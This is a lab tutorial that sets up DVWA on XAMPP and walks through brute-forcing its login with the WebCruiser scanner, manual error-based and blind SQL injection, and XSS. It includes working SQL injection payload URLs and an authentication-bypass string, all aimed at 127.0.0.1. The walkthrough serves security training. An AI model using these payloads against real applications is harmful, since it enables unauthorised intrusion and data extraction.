1. Building Testing Environment

Intrusion of websites is illegal in many countries, so you cannot take other's web sites as your testing target.

First, you need build a test environment for yourself. If you are not good at building servers, we recommend you build a simple one with XAMPP.

OS: Windows 7, 8

Software: XAMPP for Windows, download: <u>https://www.apachefriends.org/zh_cn/index.html</u> XAMPP for Windows has modules such as Apache, PHP, Tomcat, and MySQL etc. The default installation path is c:\xampp, please do not change it.

8		XAMPP Control Panel v3.2.1 [Compiled: May 7th 2013] – 🗖 🗙						
8	XAMPP Control Panel v3.2.1					🅜 Config		
Modules Service	Module	PID(s)	Port(s)	Actions				Netstat
	Apache			Start	Admin	Config	Logs	Shell
	MySQL			Start	Admin	Config	Logs	🔁 Explorer
	FileZilla			Start	Admin	Config	Logs	🛃 Services
	Mercury			Start	Admin	Config	Logs	Help
	Tomcat			Start	Admin	Config	Logs	Quit
$\begin{matrix} 10:34:27\\ 10:34:27\\ 10:34:27\\ 10:34:27\\ 10:34:27\\ 10:34:27\\ 10:34:27\\ 10:34:27\\ 10:34:27\\ 10:34:27\\ 10:34:27\\ \end{matrix}$	[main] [main] [main] [main] [main] [main] [main]	about running XAMPP Install Checking for All prerequis Initializing The FileZilla The Mercury m Starting Chec Control Panel	this applica ation Directo prerequisites ites found Modules module is di codule is disa k-Timer Ready	ntion with pry: "c:\xa s sabled abled	administra mpp\"	tor rights		~

Take DVWA (Damn Vulnerable Web Application) as an example, Start Apache and MySQL, and access with <u>http://127.0.0.1</u>.

After started, you can use the following command to set the password to 123456 (This is a weak password, just for example, please modify it)

C:\xampp\mysql\bin\mysqladmin -u root password 123456

Now, you can download DVWA from <u>https://github.com/RandomStorm/DVWA</u> , unzip it to C: $xampp\bdcsdvwa$,

Then modify its configuration file, which is C:\xampp\htdocs\dvwa\config\config.inc.php:

\$_DVWA['db_server'] = 'localhost';

\$_DVWA['db_database'] = 'dvwa';

\$_DVWA['db_user'] = 'root';

\$_DVWA['db_password'] = '123456';

\$_DVWA['default_security_level'] = "low";

Open http://127.0.0.1/dvwa/setup.php ,

Click "Create/Reset Database" to finish the installation.

Access the front page of it and it will redirect to http://127.0.0.1/DVWA/login.php

← → 🖾 http://127.0.0.1/DVWA/login.php 🖻 Damn Vulnerable Web A ×	¤ ★ ↑ 5+Q
DVWA	^
Username	
Password	
]
Login	~
	🔍 100% 🔻 🖽

Now, a basic test environment is available.

2. DVWA Brute Force

The first challenge of DVWA is how to login it. Usually, you can search the network and get the default username/password, or try to use SQL Injection to escape the authentication mechanism, such as use a username like admin';-- or other ways.

Here we will use brute force, and use WebCruiser Web Vulnerability Scanner 3

(<u>http://www.janusec.com/</u>) as a brute force tool.

First, input any username and password, such as 123, 456, etc. submit.

0	WebCruiser - Web Vulnerability Scanner Enterprise Edition	- 🗆 🗙					
<u>F</u> ile <u>T</u> ools <u>V</u> iew <u>C</u> onfig	juration <u>H</u> elp						
🗄 🗋 💕 🛃 🧭 Browser 🔍 S] 🚰 🚽 💋 Browser 🔄 Scanner 📑 SQL 🔕 POC 🔐 Resend 📠 Bruter 🥘 Cookie 🍪 Setting 🔤 ScanURL 💽 ScanPage 🔄 ScanSite						
URL: http://127.0.0.1/dvwa/lo	ogin.php GET	- 🔁 🔲 🗖					
Seamer Soamer Soamer Solution Syltication Syltication Syltication Solution Solution	WebBrowser Resend	^					
		~					
完成	HTTP	Thread: 0;					

Switch to Resend tab:

WebCruiser - Web Vulnerability Scanner Enterprise Edition -	□ ×					
<u>File T</u> ools <u>V</u> iew <u>C</u> onfiguration <u>H</u> elp						
🗋 📷 🛃 🗭 Browser 🖾 Scanner 📑 SQL 📀 POC 💣 Resend 🚊 Bruter 🔛 Cookie 🌚 Setting 🔤 ScanURL 🖾 ScanPage 🖾 ScanSite						
URL: http://127.0.0.1/dvwa/login.php GET -	2 🔲 🖸					
🕑 Browser 🧭 WebBrowser 🚽 Resend						
Contraction of the second seco	Request Response					
SQL Injection Method URL POST http://127.0.0.1/dvwa/login.php Resend	Bruter					
AdminEntrance POST http://127.0.0.1/dwwa/ Content-Type: application/xwww-form-urlencoded						
Tools						
BruterTool username=123@password=456@Login=Login						
Description and the second sec						
- Construction of the second s						
About						
RawView TabularView						
Done HTTP Threa	d: 0 .::					

We found there was a request list which includes requests we submit just now.

Note that there is a button "Bruter", click it, it will switch to Bruter tool.

The username and password field has been identified automatically.

The dictionary files are located in the same directory with WebCruiserWVS.exe and supports custom modifying.

0	WebCruiser - Web Vulnerability Scanner Enterprise	Edition	- 🗆 🗙
File Iools View Config URL: http://127.0.0.1/dvwa/lc Scamer Scamer Sult Injection XSS/IFI/RFI/Redirec AdminEntrance ResendTool PruterTool Costie atroal	WebCruiser - Web Vulnerability Scanner Enterprise uration Help canner SQL OPC OPC Bresend Bruter Cookie Setting gin.php http://127.0.0.1/dwwa/login.php username=123@password=456@Login=Login PostData Example: username=admin@password=123456 Username Field username V Password Field password V POST	Edition	 ■ × ScanSite ■ 10 10
-CookieTool -CookieTool -CookingTool -Cooking Settings -CookieTool	Option Option Use username list and password list(if password include username Username List File Password List File Use Combo (username:password) list Combo List File combo.txt Stop when found one username/password. Username Password admin password 	, use %username%)	
< >			
Done		HTTP	Thread: 0 .::

Click "Go" to start guess process, result will be list in the window. Log in with the username and password.

3. SQL Injection

Select "SQL Injection" menu, input 1 and submit:

	→	/ulnerabilities/sqli/?id=1&Submit=Submit	× □ _ ☆★☆ ♡-
🖸 Dam	n Vulnerable Web A ×		
		DVWA	Â
	Home	Vulnerability: SQL Injection	
	Instructions	User ID:	
	Setup		
	Brute Force		
	Command Execution	First name: admin	
	CSRF	Juliane. duith	
	Insecure CAPTCHA	Manalista	
	File Inclusion	More Into	
	SQL Injection	http://www.securiteam.com/securityreviews/5DP0N1P76E.html http://www.securiteam.com/securityreviews/5DP0N1P76E.html	
	SQL Injection (Blind)	http://www.pedia.org/wiki/set_injection- http://www.pedia.org/set/injection-cheatsheet-oku/	
	Upload	nttp://pentestmonkey.nevcneat-sneevsqi-injection/mysqi-sqi-injection-cneat-sneet	
	XSS reflected		
	XSS stored		
<	DVANA Socurity		● ● 100% ▼





MySQL throw exception because of unpaired single quotes.

Now, we can suspect that there is SQL Injection vulnerability here.

Continue try 1 and 1=1 and 1 and 1=2

		×
-) 🔿 🙋 http://127.0.0.1/dvwa/vul	Inerabilities/sqli/?id=1+and+1%3D2&Submit=Submit	-0 🕆 🛪 3
Damn Vulnerable Web A ×		
	DVWA	
Home	Vulnerability: SQL Injection	
Instructions	User ID:	
Setup		
Dente France	Submit	
Command Execution	ID: 1 and 1=2 First name: admin	
CSRE	Surname: admin	
File Inclusion	More info	
SQL Injection	http://www.securiteam.com/securityreviews/5DP0N1P76E.html	
SQL Injection (Blind)	http://en.wikipedia.org/wiki/SQL_injection http://ferruh.mavituna.com/sgl-injection-cheatsheet-oku/	
Upload	http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet	
XSS reflected		
XSS stored		
		A000/

But we found it is not the same as expected, SQL Injection with integer type was ruled out. Continue try with 1' and '1'='1 and 1' and '1'='2



There is no result return to us when we input 1' and '1'='2

			- • ×
(() (Image: Article Arti	vulnerabilities/sqli/?id=1%27+and+%271%27%3D%272&Submit=Submit	<u>₹¢</u> ff <u>0</u> -
🖸 Dam	n Vulnerable Web A ×		
		DVWA	^
	Home	Vulnerability: SQL Injection	
	Instructions	User ID:	
	Setup		
	Brute Force	Submit	
	Command Execution	More info	
	CSRF	http://www.securiteam.com/securityreviews/5DP0N1P76F.html	
	Insecure CAPTCHA	http://en.wikipedia.org/wiki/SQL_injection	
	File Inclusion	http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet	
	SQL Injection		
	SQL Injection (Blind)		
	Upload		
	XSS reflected		~
	XSS stored		
			🔍 100% 👻 🔡

Till now, we can adjudge there is SQL Injection vulnerability with string type here.

Recap:

Criterion of SQL Injection

Assume the initial response is Response0,

Response by append true logic is Response1,

Response by append false logic is Response2,

If Response1= Response0, but Response1 != Response2, SQL Injection exists.

OK, can you takeover some data by exploiting it?

Try: http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and (select 1 from (select count(*),concat((select database()),0x3a,floor(rand(0)*2)) x from information_schema.tables group by x)a)%23



Well, the database name "dvwa" returns on the page.

This case is a little complex; actually it builds an exception intentionally by twice rand computation.

Another way is blind SQL Injection, by guest the length and ASCII of each byte of the field.

To compute if the length of database name bigger than 10:

http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and (select char_length(database()))>10 and '1'='1

\frown			^
(←)	http://127.0.0.1/dvwa/vu	Inerabilities/sqli/?Submit=Submit&id=1' and (select char_length(database()))>10 and '1'='1	-c 🕆 🛠 🛱
💋 Dan	nn Vulnerable Web App 团 D	Damn Vulnerable Web A ×	_
		DVWA	^
	Home	Vulnerability: SQL Injection	
	Instructions	User ID:	
	Setup	Cubrait	
	Brute Force	Submit	
	Command Execution	More info	
	CSRF	http://www.securiteam.com/securityreviews/5DP0N1P76F.html	
	Insecure CAPTCHA	http://en.wikipedia.org/wiki/SQL_injection	
	File Inclusion	http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet	
	SQL Injection		
	SQL Injection (Blind)		
	Upload		~
<			>
			🍕 100% 🔻 🔡

Wrong, try less than 10:

http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and (select char_length(database()))<10 and '1'='1



Right, continue guess till:

http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and (select char_length(database()))=4 and '1'='1

		×
🔶 🔿 🙋 http://127.0.0.1/dvwa/vulr	erabilities/sqli/?Submit=Submit&id=1' and (select char_length(database()))=4 and '1'='1	± + + + + + + + + + + + + + + + + + + +
🖸 Damn Vulnerable Web App 🙋 Da	mn Vulnerable Web A ×	
	DVWA	^
Home	Vulnerability: SQL Injection	
Instructions	User ID:	
Setup	Cubrait	
Brute Force Command Execution CSRF	ID: 1' and (select char_length(database()))=4 and '1'='1 First name: admin Surname: admin	
Insecure CAPTCHA File Inclusion	More info	
SQL Injection	http://www.securiteam.com/securityreviews/5DP0N1P76E.html http://en.wikipedia.org/wiki/SQL_injection	
SQL Injection (Blind)	http://fortext.ext/specta.com/spectal.injection-heatsheet-oku/	
Upload	nttp://pentestmonkey.nevcheat-sneevsql-injection/mysql-sql-injection-cheat-sneet	
		® 100%

We got the length is 4.

Continue to guess each byte of it:

http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and (select ord(substr(database(),1,1)))=100 and %271%27=%271

				×
(←)	Attp://127.0.0.1/dvwa/vu	Inerabilities/sqli/?Submit=Submit&id=1' and (select ord(substr(database(),1,1)))=100 and %271%27	- C 🕆 🖈	₽
🖸 Dai	mn Vulnerable Web App 🙋 D	amn Vulnerable Web A ×		
		DVWA		^
	Home	Vulnerability: SQL Injection		
	Instructions	User ID:		
	Setup			
	Brute Force	ID: 1' and (select ord(substr(database(),1,1)))=100 and '1'='1		
	Command Execution	First name: admin Surname: admin		
	CSRF			
	Insecure CAPTCHA			_
	File Inclusion	More info		
	SQL Injection	http://www.securiteam.com/securityreviews/5DP0N1P76E.html		
	SQL Injection (Blind)	http://erruh.mavituna.com/sql-injection-cheatsheet-oku/		
	Upload	nttp://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet		~
			€ 100%	•

The ASCII of the first byte is 100, it is d, and so on.

http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and (select ord(substr(database(),2,1)))=118 and %271%27=%271 , the second byte is v . http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and (select ord(substr(database(),3,1)))=119 and %271%27=%271 ,the third byte is w . http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and (select ord(substr(database(),4,1)))=97 and %271%27=%271 ,the fourth byte is a . Got the full name of database is "dvwa" .

Is there a tool which can do these tests instead?

Yes, we can use a web application security scanner to do it.

Take WebCruiser as an illustration, navigate page and click "ScanURL":

9	WebCruiser - Web Vulnerabili	ty Scanner Enterprise Edition	- 🗆 🗙
<u>F</u> ile <u>T</u> ools <u>V</u> iew <u>C</u> onfigu	uration <u>H</u> elp		
🗄 🗋 🚰 🛃 🧭 Browser 💽 Sca	anner 🛛 📑 SQL 🛛 🔕 POC 🖉 💣 Resend 🛛 🚊 Brute	er 🦲 Cookie 🍪 Setting 🛛 🛛 🔄	ScanURL 🛛 🔍 ScanPage 🕸 ScanSite
URL: http://127.0.0.1/dvwa/vul	Inerabilities/sqli/?Submit=Submit&id=99999999		GET 🛛 🕶 🔁 🛄 🞑
Browser Scanner PC SCALINJection XSS/LT/RT/Kedirec AdminEntrance Tools BruterTool CookieTool CookieTool StringTool Strings Report About	rawler Scan Current URL Scan Current Page ddress (Refer URL) http://127.0.0.1/dwwa/vulnerabilities/sqli/ http://127.0.0.1/dwwa/vulnerabilities/sqli/	Vulnerability Vklnerability UKL SQL INJECTION String UKL SQL INJECTION TimeString	Action UEL http://127.0.0.1/dwa/vulner http://127.0.0.1/dwa/vulner http://127.0.0.1/dwa/vulner
< > D	lone		HTTP Thread: 0
Done			HTTP Thread: 0

SQL Injection vulnerabilities found. Right click vulnerability and select "SQL INJECTION POC",

continue click "Get Environment Information":



4. XSS

Select XSS from the menu,

http://127.0.0.1/dvwa/vulnerabilities/xss_s/

	~_	- - X			
	D http://127.0.0.1/dvwa/	/vulnerabilities/xss_s/			
🖸 Dan	nn Vulnerable Web A ×				
		DVWA			
Home Vulnerability: Stored Cross Site Scripting (XS					
	Instructions	Namo *			
	Setup				
	Brute Force	Message *			
	Command Execution	Sign Guestbook			
	CSRF				
	Insecure CAPTCHA				
	File Inclusion	Name: test			
	SQL Injection	message. This is a test comment.			
		€ 100% v			

Input text and script directly in the title and content field, such as:

testinput

Or use scanner, it found 2 XSS vulnerabilities.

0	WebCruiser - Web Vulnerabili	ty Scanner Enterprise Edition	- 🗆 🗙		
File <u>T</u> ools <u>V</u> iew <u>C</u> ont	figuration ∐elp Scanner 🔄 SQL 😵 POC 💣 Resend 📠 Brut forberschilding fors a f	er 🦲 Cookie 🏠 Setting 🔤 🛛	ScanURL 🔍 ScanPage 🔍 ScanSite		
OKI: http://127.0.0.1/dwwa, Browser Sommer SQL Injection SQL Injection StringTool Settings Report About	Vulnerabilities/xss_s/ Crawler Scan Current URL Scan Current Page Address (Refer URL) Chtp://127.0.0.1/dvwa/vulnerabilities/xss_s/ http://127.0.0.1/dvwa/vulnerabilities/xss_s/	Scan Current Site Reset Scanner	Action URL http://127.0.0.1/dwwa/vulner http://127.0.0.1/dwwa/vulner		
< >	Done		HTTP Thread: 0		
Done HTTP Thread: 0					

Note: In order to improve efficiency, WebCruiser Web Vulnerability Scanner can scan designated vulnerability type (setting) or designated URL (ScanURL button) separately.

9	WebCruiser - Web Vulnerability Scanner Enterprise Edition	- 🗆 🗙				
<u>F</u> ile <u>T</u> ools <u>V</u> iew <u>C</u> onfi :]] 🚰 🛃 🧭 Browser 🔍 :	iguration 🛛 <u>H</u> elp Scanner 📑 SQL 🔇 POC 🔐 Resend 📠 Bruter 🥘 Cookie 🍪 Setting 🔤 🔄 ScanURL 💽 ScanPage	🔍 ScanSite				
URL: http://127.0.0.1/dvwa/v	vulnerabilities/xss_s/ GET	- 🔁 🔟 🖸				
Browser Scanner Gross POC	Scanner Proxy Advanced Access CrossSiteInjection AdminEntrance Parameter Setting					
	User-Agent: Mozilla/4.0					
	Crawling pages with extension (Separated By ':'):					
	htm:html:shtml:sp:asp:sjsp:php:do:ofm:ogi:pl:txt:action:js Scanning Depth: 5 Seconds Delay For Each Search Request: 0					
Report	Vulnerabilities Setting					
	Scan SQL Injection					
	🗹 Scan URL SQL Injection					
	🗹 Scan Post SQL Injection					
	🗹 Scan Cookie SQL Injection					
	▼ Scan Cross Site Scripting					
	🗌 Scan LFI (Local File Inclusion, Path Manipulation)					
	🗌 Scan RFI (Remote File Inclusion) & Redirect					
< Save / Apply Settings						
Done HTTP Thread: 0						